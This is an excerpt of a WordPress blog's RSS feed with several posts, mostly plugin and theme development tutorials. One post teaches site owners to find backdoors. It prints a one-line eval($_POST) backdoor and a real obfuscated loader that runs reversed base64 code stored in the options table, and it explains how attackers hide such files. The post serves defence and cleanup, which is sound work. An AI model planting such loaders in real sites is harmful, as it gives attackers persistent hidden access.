echo &quot;&lt;input id='plugin_text_string' name='plugin_options[text_string]' size='40' type='text' value='{$options['text_string']}' /&gt;&quot;;
} ?&gt;
</pre>
<p>Simple. It just gets the options then outputs the input HTML for it. Note the &#8220;name&#8221; is set to plugin_options[text_string]. This is not coincidence, the name *must* start with plugin_options in our case. Why? Because that is the second argument we passed to register_settings.</p>
<p>The settings pages use a whitelist system. Only valid options get read. Anything else gets tossed out, for security. Here, we&#8217;re using a php trick. PHP interprets an incoming GET or POST data of name[thing] as being an array called name with &#8216;thing&#8217; as one of the elements in it. So, all our options are going to take the form of plugin_options[some_thing], so that we get that single array back, and the array name itself is whitelisted.</p>
<p>Since this is designed with security in mind, we have one last callback to deal with: The validation callback that we skipped earlier:</p>
<pre class="brush: php;">
&lt;?php // validate our options
function plugin_options_validate($input) {
$newinput['text_string'] = trim($input['text_string']);
if(!preg_match('/^[a-z0-9]{32}$/i', $newinput['text_string'])) {
$newinput['text_string'] = '';
}
return $newinput;
}
?&gt;
</pre>
<p>Here I&#8217;m taking a liberty with the code. I&#8217;m going to say that our text_string has to be exactly 32 alphanumerics long. You can actually validate any way you want in here. The point of this function is simply to let you check all the incoming options and make sure they are valid in some way. Invalid options need to be fixed or blanked out. Finally, you return the whole input array again, which will get automatically saved to the database.</p>
<p>Take special note of the fact that I don&#8217;t return the original array. One of the drawbacks of this sort of approach is that somebody could, in theory, send bad options back to the plugin. These would then be in the $input array. So by validating my options and *only* my options, then any extra data they send back which might make it here gets blocked. So the validation function not only makes sure that my options have valid values, but that no other options get through. In short, $input is untrusted data, but the returned $newinput should be trusted data.</p>
<h3>And we&#8217;re done. Wait, what?</h3>
<p>Yes, the whole point of this exercise is that the options are automatically saved for you. And everything else. You have an options page, you have fields on it, you are validating them&#8230; and that&#8217;s it. The actual *display* of the page is even done for you. Remember the input we made? It&#8217;ll get put into a table with the title on the left side before it, waiting for input.</p>
<p>Another nice thing is that this is easily expandable. For each option to add we:<br />
1. Do a new add_settings_field call.<br />
2. Make the function to display that particular input.<br />
3. Add code to validate it when it comes back to us from the user.</p>
<p>To add a new section, you:<br />
1. Do a new add_settings_section call.<br />
2. Make the function to display any descriptive text about it.<br />
3. Add settings fields to it as above.</p>
<h3>One last thing</h3>
<p>Sometimes we don&#8217;t need a whole page. Sometimes we only have one setting, and it would work well on some existing page. Maybe on the general page, or the discussion page. Well, we can add settings to those too!</p>
<p>If you look through the core code, you&#8217;ll find references like do_settings_sections(&#8216;general&#8217;) or do_settings_sections(&#8216;writing&#8217;), and so on. These you can add on to like any others, getting your settings on the main WordPress settings pages instead of having to make your own.</p>
<p>Just do this:<br />
1. Make an add_settings_section call. The last argument should be &#8220;general&#8221;, or wherever you want to add your new section.<br />
2. Add fields to your new section, using add_settings_field.<br />
3. You still need to make your own settings whitelisted. To do this, you&#8217;ll need to make a call to register_setting. The first argument should be the same as the page name, like &#8216;general&#8217;, or wherever you&#8217;re putting your settings. This will let that page recognize and allow your settings to come through.</p>
<p>All the callbacks will basically be the same for this method. You&#8217;re just skipping a step of making your own page. Easy.</p>
<p>And there you go. More reading: <a title="Settings API on WordPress Codex" href="http://codex.wordpress.org/Settings_API">http://codex.wordpress.org/Settings_API</a></p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/wordpress-settings-api-tutorial/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
	
	</item>
		<item>
		<title>Simple Facebook Connect</title>
		<link>http://ottodestruct.com/blog/2009/simple-facebook-connect/</link>
		<comments>http://ottodestruct.com/blog/2009/simple-facebook-connect/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 15:47:41 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[connect]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[sfc]]></category>
		<category><![CDATA[simple facebook connect]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=579</guid>
		<description><![CDATA[Working on a new WordPress plugin lately. It&#8217;s basically a simple and easy way to make Facebook Connect work with your WordPress based website.
More info about it here: Simple Facebook Connect.
Short list of current features:

Simple 2 step setup for Facebook Connect. Just create the App via Facebook and paste in the API key.
Share button, with [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2009/simple-facebook-connect/" type="box_count"></fb:share-button><p>Working on a new WordPress plugin lately. It&#8217;s basically a simple and easy way to make Facebook Connect work with your WordPress based website.</p>
<p>More info about it here: <a title="Simple Facebook Connect" href="http://ottodestruct.com/blog/wordpress-plugins/simple-facebook-connect/">Simple Facebook Connect</a>.</p>
<p>Short list of current features:</p>
<ul>
<li>Simple 2 step setup for Facebook Connect. Just create the App via Facebook and paste in the API key.</li>
<li>Share button, with meta support.</li>
<li>User status widget</li>
<li>Comment using Facebook Identity (alpha, not operational, for testing only, will be working soon).</li>
</ul>
<p>Like most things I announce early, it&#8217;s not fully featured yet. I&#8217;m modifying and adding onto it as I go along, so expect a lot of updates to show up in the plugin list if you use it.</p>
<p>And if you have ideas for how to improve it, please <a href="mailto:otto@ottodestruct.com">email them to me</a>. <img src='http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/simple-facebook-connect/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
	<georss:point>35.1461258 -90.0536575</georss:point>
	</item>
		<item>
		<title>How to find a backdoor in a hacked WordPress</title>
		<link>http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/</link>
		<comments>http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 22:14:21 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Linkery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[malicious]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[spammer]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=555</guid>
		<description><![CDATA[Over here, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some minor back and forth on FriendFeed, I got him to do a search which found a malicious backdoor he might not otherwise have found.
In so doing, it occurred to me that most people don&#8217;t keep up [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/" type="box_count"></fb:share-button><p>Over <a href="http://jungleg.com/2009/09/21/feeling-secure-with-the-latest-wordpress-version-think-again-and-7-tips-to-secure-it/">here</a>, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some <a href="http://friendfeed.com/jungleg/5e3b8b40/feeling-secure-with-latest-wordpress-version">minor back and forth on FriendFeed</a>, I got him to do a search which found a malicious backdoor he might not otherwise have found.</p>
<p>In so doing, it occurred to me that most people don&#8217;t keep up with the world of WordPress in the way I do, and so have not seen nearly as many hack attempts. So I figured I&#8217;d post my little contribution, and show people how to find hidden backdoors when cleaning up their hacked sites.</p>
<p>Non-technical users can safely ignore this post. <img src='http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<span id="more-555"></span></p>
<p>What&#8217;s a backdoor? Well, when somebody gets into your site, the very first thing that happens is that a backdoor is uploaded and installed. These are designed to allow the hacker to regain access after you find and remove him. Done craftily, these backdoors will often survive an upgrade as well, meaning that you stay vulnerable forever, until you find and clean the site up.</p>
<p>However, let&#8217;s be clear here: After you get hacked, the ONLY way to be 100% secure is to restore the entire site to a period before you were hacked, and then upgrade and/or patch whatever hole the hacker used to gain entry. Manual cleanup of a site is risky, because you might miss something. It&#8217;s also time-consuming. But, if you don&#8217;t have regular backups, you may have no real choice.</p>
<p>First, the obvious stuff:</p>
<ul>
<li>A backdoor is code that has been added to your site.</li>
<li>It will most likely be code not in the normal WordPress files. It could be in the theme, it could be in a plugin, it could be in the uploads directory.</li>
<li>It will be disguised to seem innocuous, or at least non threatening.</li>
<li>It will most likely involve additions to the database.</li>
</ul>
<p>Let&#8217;s go over these individual points one at a time.</p>
<h3>Added code</h3>
<p>While it&#8217;s true that simple &#8220;backdoors&#8221; often take the form of hidden admin users, generally complex backdoor code is simpler than that. It simply gives the attacker the means to any PHP code they like, usually through the use of the <a href="http://us.php.net/eval">eval</a> command.</p>
<p>A simple example would be this:</p>
<pre class="brush: php;">eval($_POST['attacker_key']);</pre>
<p>This, very simply, executes any PHP code sent to it from a browser.</p>
<p>Of course, they wouldn&#8217;t put this code just anywhere&#8230; It has to not be that easy to find, and it has to survive a normal WordPress upgrade.</p>
<h3>How to hide code</h3>
<p>First, we have to consider where we can put our malicious code. A WordPress upgrade deletes a lot of directories. There&#8217;s three obvious places:</p>
<p>1. Themes. Good plan, themes survive core updates. However, people tend to edit their themes a lot. Also theme names change around a fair amount, so doing this automatically is difficult.</p>
<p>2. Plugins. Plugins are a good place to hide code. People don&#8217;t generally look at them in detail, and many plugins have vulnerabilities of their own that might be exploitable. Some of them even keep some of their directories writable, meaning we can directly upload our backdoor code to there easily, after we gain access.</p>
<p>3. Uploads. Perfect. It&#8217;s explicitly designed to be writable. People don&#8217;t generally see what&#8217;s in the folders, since they&#8217;re just looking at the normal interface in WordPress. This is where something like 80% of backdoor codes get put.</p>
<h3>The art of disguise</h3>
<p>This one is easy.</p>
<p>Step 1: Pick a name that looks harmless.</p>
<p>wp-cache.old. email.bak. wp-content.old.tmp. Something you won&#8217;t think of. Remember, it doesn&#8217;t have to end with PHP just because it&#8217;s got PHP code in it.</p>
<p>Step 2: Hide the code itself.</p>
<p>Except in <a href="http://wordpress.org/extend/plugins/php-code-widget/">special circumstances</a>, legitimate code will not use &#8220;eval&#8221;. But, it happens often enough to be generally considered not harmful in and of itself. So looking for &#8220;eval&#8221; is not a good way to find malicious code.</p>
<p>However, attackers need to disguise their attacks over the wire as well, to prevent hosts from blocking them. The easy and cheap way to do this is <a href="http://us3.php.net/base64_encode">base64 encoding</a>.</p>
<p>Base 64 encoding lets them disguise their commands to their hidden &#8220;eval&#8221; command to be just a random looking string of letters and numbers. This is usually enough to get by any server filtering. However, this does mean that their code will have one tale-tell thing in it: <a href="http://php.net/base64_decode">base64_decode</a>.</p>
<p>Base64_decode (and the similar uudecode) are the main way to find malicious code used today. There&#8217;s almost never a good reason to use them. Note the &#8220;almost&#8221; there, many plugins (notably the venerable <a href="http://wordpress.org/extend/plugins/google-sitemap-generator/">Google Sitemap Generator</a>) use base64_decode in legitimate ways. So it&#8217;s not exactly a smoking gun, but it is <em>highly</em> questionable for some randomly named file lying around to have that inside it.</p>
<p>Smarter authors realize this, and so have taken steps to hide even that sign&#8230;</p>
<h3>Database obfuscation</h3>
<p>Here&#8217;s a bit of code I&#8217;ve seen around recently. This code does something really clever. Note that it was heavily obfuscated by including hundreds of line of randomness, hidden in /* PHP comments */. This is why having a text editor with code and syntax coloring can be very handy.</p>
<p>Note, this code was in a file named wp-cache.old in the wp-content/uploads directory. It was <a href="http://us.php.net/manual/en/function.include.php">included</a> at the end of the wp-config.php (also a file that usually does not get overwritten in an upgrade).</p>
<pre class="brush: php;">global $wpdb;
$trp_rss=$wpdb-&gt;get_var(
&quot;SELECT option_value FROM $wpdb-&gt;options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'&quot;);
preg_match(&quot;!events or a cale\&quot;\;s\:7\:\'(.*?)\'!is&quot;,$trp_rss,$trp_m);
$trp_f=create_function(&quot;&quot;,strrev($trp_m[1]));
$trp_f();
</pre>
<ol>
<li>It retrieves a value from the WordPress database.</li>
<li>It pulls a specific section of that value out.</li>
<li>It creates a function to run that value as PHP code.</li>
<li>It runs that function.</li>
</ol>
<p>Note how it cleverly avoids all the warning signs.</p>
<ul>
<li>Nowhere does it use &#8220;eval&#8221;.</li>
<li>base64 is not visible at all.</li>
<li>The function named strrev is used. strrev reverses a string. So the code that it&#8217;s pulling out is reversed! So much for looking for &#8220;base64_decode&#8221;.</li>
</ul>
<p>The actual value in the database looked like this:</p>
<pre>...a bunch of junk here...J3byJXZ"(edoced_46esab(lave</pre>
<p>Reverse that. What do you have? Why, it&#8217;s our old friends eval and base64_decode. Clever. Searching the files for these two warning signs would have uncovered nothing at all. Searching the database for same would have also shown nothing.</p>
<p>The key it used, BTW (rss_f541b3abd05e7962fcab37737f40fad8) is also designed to be nonthreatening. WordPress itself creates several similar looking keys as part of its RSS feed caching mechanism.</p>
<p>So, break down how this code works.</p>
<ol>
<li>The hacked wp-config.php code causes an include of a nondescript file, called wp-cache.old.</li>
<li>That code, which does not use any trigger words, loads a nondescript value from the options table.</li>
<li>It performs some string operations on that code, then executes it.</li>
<li>The code in question was the rest of the hack, and did many different things, such as inserting spam links, etc.</li>
</ol>
<h3>Summary</h3>
<p>This is the sort of thing you&#8217;re up against. If your site got hacked, then there exists a backdoor on your site. Guaranteed. I&#8217;ve never seen a hacked WordPress installation that was missing it. Sometimes there&#8217;s more than one. You have to check every file, look through every plugin, examine even the database data itself. Hackers will go to extreme lengths to hide their code from you.</p>
<p>And one more thing&#8230; before claiming that your WordPress got hacked even despite having the latest code, make sure that it wasn&#8217;t actually hacked already, before you put the latest code on there. If you don&#8217;t fully clean up after a hack, then you *stay* hacked. It&#8217;s not a new hack, it&#8217;s the same one.</p>
<p>The latest WordPress (as of this writing) has no known security holes. Claiming that it does when you don&#8217;t know that for sure is really not all that helpful. You&#8217;re placing the blame in the wrong place. The WordPress team makes the code secure as is possible, and is very fast on patching the security holes that are found, when they&#8217;re found. But they can&#8217;t patch code that made it onto your site from some other method, can they? Just something to keep in mind.</p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
	<georss:point>35.1461296 -90.0535583</georss:point>
	</item>
		<item>
		<title>Google Maps traffic&#8230; it needs work.</title>
		<link>http://ottodestruct.com/blog/2009/google-maps-traffic/</link>
		<comments>http://ottodestruct.com/blog/2009/google-maps-traffic/#comments</comments>
		<pubDate>Tue, 25 Aug 2009 16:56:50 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Linkery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[Thingery]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[maps]]></category>
		<category><![CDATA[mobile navigator]]></category>
		<category><![CDATA[navigation]]></category>
		<category><![CDATA[navigon]]></category>
		<category><![CDATA[traffic]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=534</guid>
		<description><![CDATA[I always wondered how Google Maps knew traffic conditions. Today, there&#8217;s a blog post where they explain it a bit better.
Basically, they simply have all the phones running Google Maps with GPS send back data as to a) where they are and b) how fast they&#8217;re moving. Both of which GPS gives you more or [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2009/google-maps-traffic/" type="box_count"></fb:share-button><p>I always wondered how Google Maps knew traffic conditions. Today, there&#8217;s a <a href="http://googleblog.blogspot.com/2009/08/bright-side-of-sitting-in-traffic.html">blog post</a> where they explain it a bit better.</p>
<div id="attachment_535" class="wp-caption alignright" style="width: 330px"><a href="http://googleblog.blogspot.com/2009/08/bright-side-of-sitting-in-traffic.html"><img class="size-full wp-image-535" title="Google Maps on the phone" src="http://ottodestruct.com/blog/wp-content/uploads/2009/08/gmm_arterials_z15.png" alt="That ain't on an iPhone..." width="320" height="480" /></a><p class="wp-caption-text">That ain&#39;t on an iPhone...</p></div>
<p>Basically, they simply have all the phones running Google Maps with GPS send back data as to a) where they are and b) how fast they&#8217;re moving. Both of which GPS gives you more or less by default.</p>
<p>It&#8217;s a clever idea, and I like it, but it fails in a couple of major ways, IMO.</p>
<p>Firstly, when I use Google Maps on my phone, I tend to not leave it open. Google Maps is fine, but it&#8217;s not a very good navigation system. It&#8217;s just a map. A real navigation app is worlds better. I recently got Navigon Mobile Navigator on the new iPhone, and it&#8217;s pretty slick. Thinking about a dashboard mount for it now, actually.</p>
<p>Secondly, this system relies on a lot of people having Google Maps open and running and sending back data. If nobody with Google Maps running has been on your street recently, you get no information.</p>
<p>What Google really needs to do is to open it up as an API. Let other navigation system manufacturers both send and receive traffic data from the Google Maps system. It doesn&#8217;t have to be complex.</p>
<p>Any good navigation app knows your location and speed, so a simple way to send that info could be made easily enough. The problem, of course, is allowing third parties to use the data.</p>
<p>Google Maps works in layers of images, which is one of its major shortcomings, IMO. The street views are images. The terrain are images. Just big sets of tiles that get displayed next to each other. And I&#8217;m almost certain that this traffic thing is just another set of images they&#8217;re generating or updating. For navigation providers that use 3d views and such, they don&#8217;t need that stuff in the form of images, they need it in the form of data. What streets are busy? How can that information be used to improve the navigation? Etc.</p>
<p>Google is generally pretty good at opening up their APIs to third parties. However, they&#8217;re generally not good at providing data in different forms. Most of their APIs are &#8220;this is what we use, if you need something else we don&#8217;t have it&#8221; sort of thing. Hopefully, the Google Maps team will see the light here and realize that to get good data, you have to give good data, and start pushing in that direction. Because open traffic data would be pretty cool for everybody.</p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/google-maps-traffic/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	<georss:point>35.1461296 -90.0535583</georss:point>
		<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2009/08/gmm_arterials_z15-100x150.png" />
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2009/08/gmm_arterials_z15.png" medium="image">
			<media:title type="html">Google Maps on the phone</media:title>
			<media:description type="html">That ain't on an iPhone...</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2009/08/gmm_arterials_z15-100x150.png" />
		</media:content>
	</item>
		<item>
		<title>WordPress 2.7 Comments Enhancements</title>
		<link>http://ottodestruct.com/blog/2008/wordpress-27-comments-enhancements/</link>
		<comments>http://ottodestruct.com/blog/2008/wordpress-27-comments-enhancements/#comments</comments>
		<pubDate>Mon, 29 Sep 2008 15:43:03 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[paging]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[stylesheets]]></category>
		<category><![CDATA[theme editing]]></category>
		<category><![CDATA[themes]]></category>
		<category><![CDATA[threading]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wordpress themes]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=424</guid>
		<description><![CDATA[WordPress 2.7 includes a lot of new enhancements, but one of the big ones is the new comment functionality. Comments can be threaded, paged, etc. This is all built in, but unfortunately, your theme must support it. So, for theme authors, I&#8217;d suggest getting to work on making your themes compatible right away.
Read on if [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2008/wordpress-27-comments-enhancements/" type="box_count"></fb:share-button><p>WordPress 2.7 includes a lot of new enhancements, but one of the big ones is the new comment functionality. Comments can be threaded, paged, etc. This is all built in, but unfortunately, your theme must support it. So, for theme authors, I&#8217;d suggest getting to work on making your themes compatible right away.</p>
<p>Read on if you&#8217;re a theme author&#8230;</p>
<p><span id="more-424"></span></p>
<p><strong>Note:</strong> A lot of people seem to miss this key bit: Enhanced Comments are optional and default to off, even after you make these changes. You have to go to the Settings-&gt;Discussion panel to turn the features on.</p>
<p>Actually &#8220;compatible&#8221; is not quite the right term. Old themes will continue to work fine in WordPress 2.7. It&#8217;s just the threading and paging and javascript enhancements need the theme to support it. This is much the same as the sidebar widgets, the theme has to support it for the functionality to work. So this article is really not about 2.7 <em>compatibility</em>, it&#8217;s about 2.7 <em>capability</em>.</p>
<p>Note that this article will explain some of the changes needed to make themes capable of supporting the new comments functions, however there&#8217;s no substitute for the real thing. Install a local copy of WordPress trunk on your home machine (possibly using XAMPP) and test it there.</p>
<p>Also note that this is all based on the current state of WordPress trunk, and is subject to change before WordPress 2.7 is released. However, it&#8217;s probably not going to change all that much at this point.</p>
<h3>How to create a 2.7 compatible comments.php</h3>
<h4>2.7 Detection</h4>
<p>If you want your theme to be backward compatible as well, then there&#8217;s a simple way to do it. Just check for the wp_list_comments function, like so:</p>
<pre class="brush: php;">if (function_exists('wp_list_comments')) :
// new comments.php stuff
else :
// old comments.php stuff
endif;</pre>
<p>While you could check for the version number of WordPress, this method is better because it simply looks for the actual function you&#8217;re going to use anyway. Never make assumptions based on version number.</p>
<p>One of the <a href="http://justintadlock.com/archives/2008/11/01/making-your-themes-comments-compatible-with-wordpress-27-and-earlier-versions">more interesting ways</a> I&#8217;ve seen to use this is to have the &#8220;old comments&#8221; php in a separate file entirely, which is then included. This preserves backwards compatibility for your theme in a simple way. Here&#8217;s a quick example code for that approach:</p>
<pre class="brush: php;">&lt;?php
add_filter('comments_template', 'legacy_comments');
function legacy_comments($file) {
	if ( !function_exists('wp_list_comments') )
		$file = TEMPLATEPATH . '/legacy.comments.php';
	return $file;
}
?&gt;</pre>
<p>Adding this code to a theme&#8217;s functions.php file will make the theme use the &#8220;legacy.comments.php&#8221; for older non-2.7 installations. That way, you can simply rename your old comments.php and then make a new one based on the new functionality. Clever.</p>
<h4>Password Protection Check</h4>
<p>Put this code at the top of your comments.php file. This is what lets it support the post password functionality. Note that this code is quite similar to the previous way that it was done (by checking the cookie directly), but now WordPress has a specific function to do it. You should use this function in case the functionality changes in the future, your code will be forward compatible:</p>
<pre class="brush: php;">if (!empty($_SERVER['SCRIPT_FILENAME']) &amp;&amp; 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
	die ('Please do not load this page directly. Thanks!');
if ( post_password_required() ) {
	echo 'This post is password protected. Enter the password to view comments.';
	return;
}
&lt;h4&gt;The Comments Loop&lt;/h4&gt;
The Comments Loop used to look similar to this (much simplified from a real one):
[php]if ($comments) :
&lt;?php $comment_count = get_comment_count($post-&gt;ID); echo $comment_count['approved']; ?&gt; Comments
&lt;ul class=&quot;commentlist&quot;&gt;
&lt;?php foreach( $comments as $comment ) :
// stuff to display the comment in an LI here
endforeach;
?&gt;&lt;/ul&gt;
&lt;?php else :
if ('open' == $post-comment_status) :
	// If comments are open, but there are no comments.
else :
	// comments are closed
endif;
endif;</pre>
<p>Basically, it went through the comments manually and output all the necessary pieces. Easy, but very manual. This also had the problem of being very inconsistent and hard to manage for your theme&#8217;s users, especially if you heavily customized it.</p>
<p>The new comments loop is much simpler:</p>
<pre class="brush: php;">&lt;?php if ( have_comments() ) : ?&gt;
&lt;h4 id=&quot;comments&quot;&gt;&lt;?php comments_number('No Comments', 'One Comment', '% Comments' );?&gt;&lt;/h4&gt;

&lt;ul class=&quot;commentlist&quot;&gt;
&lt;?php wp_list_comments(); ?&gt;
&lt;/ul&gt;

&lt;div class=&quot;navigation&quot;&gt;
&lt;div class=&quot;alignleft&quot;&gt;&lt; ?php previous_comments_link() ?&gt;&lt;/div&gt;
&lt;div class=&quot;alignright&quot;&gt;&lt; ?php next_comments_link() ?&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;?php else : // this is displayed if there are no comments so far ?&gt;
	&lt;?php if ('open' == $post-&gt;comment_status) :
		// If comments are open, but there are no comments.
	else : // comments are closed
	endif;
endif;
?&gt;</pre>
<p>That new one is, in fact, a complete comments loop. No simplification at all. Unless you want something displayed for &#8220;no comments&#8221; or &#8220;comments closed&#8221;, of course. I don&#8217;t have anything showing there.</p>
<p>There are three important pieces to note here:</p>
<ul>
<li>The have_comments() function replaces the check on the global $comments variable.</li>
<li>The wp_list_comments() function now outputs all the comments. It does threading, the classes, everything new.</li>
<li>There&#8217;s a new navigation section to do comment paging.</li>
</ul>
<h4>The Power of Javascript</h4>
<p>To support the new Javascript functionality with comment threading, some minor bits of code are needed:</p>
<p>First, in the header.php, add this line immediately before the call to wp_head():</p>
<pre class="brush: php;">if ( is_singular() ) wp_enqueue_script( 'comment-reply' );</pre>
<p>That code adds the comment-reply javascript to the single post pages, letting the comment reply links work correctly. WordPress specifically does NOT do this itself, for the reason that use of this script requires certain naming conventions and parameters in the comment form, which you&#8217;ll have to add.</p>
<p>So, your comment form has a new parameter that you have to add:</p>
<pre class="brush: php;">&lt;?php comment_id_fields(); ?&gt;</pre>
<p>This adds a bit of code to your form which makes it display two hidden inputs: comment_post_ID and comment_parent. Your form probably had the comment_post_ID before, so you need to remove it. The comment_parent is there for the javascript, so that replies to comments get threaded properly.</p>
<p>Also, your comment textarea MUST have an id=&#8221;comment&#8221;. The javascript expects it for focus purposes. If you used anything else, change it. Note that because of this, no other element on your page can have the &#8220;comment&#8221; ID.</p>
<p>Finally, the entire comment form MUST be surrounded by a DIV with an id=&#8221;respond&#8221;. In some previous themes (including the default ones), there would be an anchor tag like this:</p>
<pre class="brush: xml;">&lt;a id=&quot;respond&quot;&gt;&lt;/a&gt;</pre>
<p>This was there to allow the link from the front page to go directly to the respond section when there were no comments already. That still happens, but now there&#8217;s a double purpose. The javascript moves the comment form to where the reply link is, so instead of it being an anchor, it needs to be a DIV that surrounds the comment form.</p>
<p>So, remove that anchor, and add a DIV with an id=&#8221;respond&#8221; around the entire comment form. The link from the front page still works this way with all modern browsers, and the javascript can now move the form around on the page as needed.</p>
<p>Next, you can replace the call to your normal &#8220;Leave a Comment&#8221; text with something like this:</p>
<pre class="brush: php;">
&lt;h3&gt;&lt;?php comment_form_title(); ?&gt;&lt;/h3&gt;
</pre>
<p>This makes a comment form title of &#8220;Leave a Reply&#8221; which will change to &#8220;Leave a Reply to Whoever&#8221; when somebody is replying directly to another person. You can customize this, if you like, with two parameters, like so:</p>
<pre class="brush: php;">&lt;?php comment_form_title( 'Leave a Reply', 'Leave a Reply to %s' ); ?&gt;</pre>
<p>The %s will be replaced with the person&#8217;s name. This will only happen when the javascript isn&#8217;t working and the reply links have to cause a page refresh. So it&#8217;s usually not worth customizing much. Still, not everybody runs javascript and so this is nice to let them know who they are replying to.</p>
<p>Finally, you&#8217;ll notice that when somebody clicks &#8220;reply&#8221; and the comment form appears there, maybe they decide to cancel instead. So, that cancel link needs to be in your respond section. Here&#8217;s the code to do that, just put it right below your &#8220;leave a message&#8221; header in the comment form area:</p>
<pre class="brush: php;">
&lt;div id=&quot;cancel-comment-reply&quot;&gt;
	&lt;small&gt;&lt;?php cancel_comment_reply_link() ?&gt;&lt;/small&gt;&lt;/div&gt;
</pre>
<p>That&#8217;s pretty much it for making the AJAX work. With this, the new features on the Settings-&gt;Discussion panel will work. Obviously, you can modify this somewhat as needed for your theme, these are just general principles that you&#8217;ll need to use.</p>
<h4>Styling</h4>
<p>Now that you have it working, there&#8217;s plenty of new styling you can add to comments. The new comments loop automatically puts every comment into an LI tag, and threads them as well, with embedded UL/LI tags. It also adds a ton of classes on all these LIs which surround every comment in this fashion:</p>
<ul>
<li>comment, trackback, pingback classes get added depending on the type of the comment.</li>
<li>byuser gets added if the comment is by a registered user of the site.</li>
<li>comment-author-authorname gets added for specific registered users.</li>
<li>bypostauthor gets added if the comment is by the author of the post the comment is attached to.</li>
<li>odd and even classes are added to odd and even numbered comments</li>
<li>alt is added to every other comment</li>
<li>thread-odd, thread-even, and thread-alt classes are the same as the odd/even/alt classes, but these only apply to the top level of each set of comments and replies</li>
<li>depth-1 is added to the top level comments, depth-2 to the next level, and so on.</li>
</ul>
<p>What&#8217;s more, a comment_class filter is provided to allow you to add your own classes. Here&#8217;s an example of that. This example function adds a <a href="http://microid.org/">microid</a> to every comment with the microid for the comment authors given URL and email address. This sort of thing could be done in a plugin or a theme&#8217;s functions.php file, whatever.</p>
<pre class="brush: php;">
// add a microid to all the comments
function comment_add_microid($classes) {
	$c_email=get_comment_author_email();
	$c_url=get_comment_author_url();
	if (!empty($c_email) &amp;&amp; !empty($c_url)) {
		$microid = 'microid-mailto+http:sha1:' . sha1(sha1('mailto:'.$c_email).sha1($c_url));
		$classes[] = $microid;
	}
	return $classes;
}
add_filter('comment_class','comment_add_microid');
</pre>
<p>Simple and effective. It just adds the class to the given array of classes and lets the comment display functions take care of the rest.</p>
<p>And there you have it. It&#8217;s not hard to support the new functions. And if you need to customize your theme&#8217;s comments section even more, wp_list_comments() supports a number of parameters. Most of this is not documented yet, because WordPress 2.7 is not out until November. However, the code is relatively straightforward, and anybody with a good understanding of WordPress should be able to work it out.</p>
<p>Additional: A lot of people keep asking me for a full-fledged example. Really, I recommend that you examine the comments.php file in the default theme in the 2.7 beta versions. However, the actual comments.php file I&#8217;m using on this site can be found here: <a href="http://ottodestruct.com/comments.phps">http://ottodestruct.com/comments.phps</a>, if it helps you any. It has the code I&#8217;ve described in this article, pretty much verbatim. The only additions to it are a couple of extra options on the wp_list_comments() call, such as avatar_size and reply_text.</p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/wordpress-27-comments-enhancements/feed/</wfw:commentRss>
		<slash:comments>391</slash:comments>
	<georss:point>35.1461296 -90.0535583</georss:point>
	</item>
		<item>
